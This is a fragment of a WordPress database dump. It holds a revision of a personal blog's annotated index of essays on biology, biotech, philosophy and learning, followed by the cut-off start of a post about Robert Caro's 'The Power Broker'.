/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/culturing-honesty/\">Culturing honesty</a> - In praise of honesty and in attack of David Graeber.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:21:41','2025-07-03 19:21:41','',22,'https://trevorklee.com/?p=488',0,'revision','',0),
(489,1,'2025-07-03 19:22:56','2025-07-03 19:22:56','<!-- wp:paragraph -->\n<p>I think I’m probably the last person on the Internet to read&nbsp;<em>The Power Broker</em>, Robert Caro’s immense, incredible biography of Robert Moses. In case I’m not, let me give you a quick summary: according to Robert Caro, pretty much all major changes that occurred in New York City from around 1924 to around 1968 had something to do with Robert Moses, New York City’s planner. Roads, highways, parks, buildings, taxes, hospitals, city government reforms, state government reforms, Moses had a hand in all of it without ever holding an elected position.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of Moses’s impact was good, like almost single-handedly planning, designing, and organizing the most visited beach in America, Jones Beach. Some of Moses’s impact was bad, like displacing a ton of poor people from areas he wanted to develop. But it was all big. This makes Robert Moses interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!tFNc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd83905-5619-4644-b1bc-5a872cc2ca88_1024x642.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img 